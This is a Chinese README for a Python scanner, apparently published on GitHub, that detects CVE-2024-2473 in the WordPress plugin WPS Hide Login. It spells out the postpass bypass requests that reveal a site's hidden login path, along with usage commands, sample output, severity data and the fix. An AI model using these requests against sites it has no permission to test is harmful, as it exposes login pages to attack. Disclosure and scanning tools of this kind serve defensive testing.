一款专业的 Python 扫描器,用于检测运行 WPS Hide Login ≤ 1.9.15.2 的 WordPress 站点中登录页面泄露漏洞
由 Venexy 编写
WPS Hide Login 是一款流行的 WordPress 插件,允许管理员将默认的 /wp-login.php URL 更改为自定义的隐藏路径——这是一种通过模糊实现安全的手段。
此扫描器检测 CVE-2024-2473 漏洞,该漏洞可通过向插件提供 action=postpass 参数来完全绕过保护机制,向未认证攻击者暴露隐藏的登录页面 URL。
WPS Hide Login 插件将 WordPress 登录页面从默认的 /wp-login.php 重定位到管理员自定义的 URL。但在 1.9.15.2 及之前的所有版本中,向 /wp-login.php 或 /wp-admin/ 提供 action=postpass 查询参数会绕过此保护,泄露隐藏登录表单的实际 action URL——从而向任何未认证攻击者暴露秘密登录路径。
扫描器分三个阶段复现漏洞的攻击流程:
阶段 1 ─► 确认目标为 WordPress 安装
│
▼
阶段 2a ─► POST /wp-login.php?action=postpass
请求体: action=lostpassword&post_password=test
检查: HTTP 200 + 存在 lostpasswordform + 响应体中无 wp-login.php
从表单 action 属性提取隐藏登录 URL
│
阶段 2b ─► POST /wp-admin/?action=postpass
检查: HTTP 302 重定向至包含 reauth=1 或 /login 的位置
│
▼
若发现隐藏登录 URL 则报告
如果 阶段 2a 或阶段 2b 任一匹配,则目标被标记为 存在漏洞。
requests 库1. 克隆仓库
git clone https://github.com/m4xsec/CVE-2024-2473.git
cd CVE-2024-2473
2. 安装依赖
pip install requests
注意: 在使用 Python 虚拟环境或 Kali Linux 的系统上,可能需要执行:
pip install requests --break-system-packages
python CVE-2024-2473.py -u <目标URL> [-t 超时时间]
| 参数 | 描述 | 默认值 |
|---|---|---|
-u, --url | 目标 WordPress 基础 URL (必需) | — |
# 基本扫描
python CVE-2024-2473.py -u https://example.com
# 使用自定义超时扫描
python CVE-2024-2473.py -u https://example.com --timeout 15
# 通过 HTTP 扫描
python CVE-2024-2473.py -u http://192.168.1.100
...
┌─────────────────────────────────────────────────────────────┐
│ CVE-2024-2473 • WPS Hide Login 登录页面识别工具 │
│ 由 Venexy 编写 | https://github.com/m4xsec │
└─────────────────────────────────────────────────────────────┘
===============================================================
目标 https://example.com
时间 2024-11-01 18:00:00
超时 10s
===============================================================
[18:00:00] [*] 阶段 1 | 指纹识别 WordPress 安装 ...
[18:00:01] [+] WordPress 确认 — https://example.com
[18:00:01] [*] 阶段 2 | 测试 CVE-2024-2473 绕过向量 ...
[18:00:01] [*] 向量 A | POST /wp-login.php?action=postpass
+- 状态 : 200 结果 : 匹配
[18:00:02] [*] 向量 B | POST /wp-admin/?action=postpass
+- 状态 : 302 结果 : 匹配
###############################################################
## 漏洞已确认 -- CVE-2024-2473 ##
###############################################################
插件 WPS Hide Login <= 1.9.15.2
严重性 中危 (CVSS 5.3 / EPSS 第93百分位)
CWE CWE-200 — 敏感信息泄露
CVSS 向量 AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N
[18:00:02] [漏洞] 通过 /wp-login.php?action=postpass 确认绕过
====================================================
发现隐藏登录 URL
====================================================
>> https://example.com/my-secret-admin-path/
====================================================
本工具仅用于授权安全测试和教育目的。
作者不对因使用本工具造成的任何误用或损害负责。在进行任何安全评估之前,请始终获得目标系统所有者的明确书面许可。未经授权的系统扫描或利用是非法的且不道德的。
请负责任地使用。
由 Venexy 用 ❤️ 编写
如果本工具对您有帮助,请考虑给仓库点个 ⭐🌟🌟🌟
| 字段 | 详情 |
|---|
| CVE ID | CVE-2024-2473 |
| 影响范围 | WordPress 的 WPS Hide Login 插件 ≤ 1.9.15.2 |
| 严重性 | 中危 |
| CVSS 分数 | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| CWE | CWE-200 — 敏感信息泄露 |
| EPSS 分数 | 0.10433 (第 93 百分位) |
| 是否需要认证 | 否 |
| 供应商 | WPServeur |
| 修复措施 | 将插件更新至版本 > 1.9.15.2 |
-t, --timeout | HTTP 请求超时时间(秒) | 10 |
| 资源 | 链接 |
|---|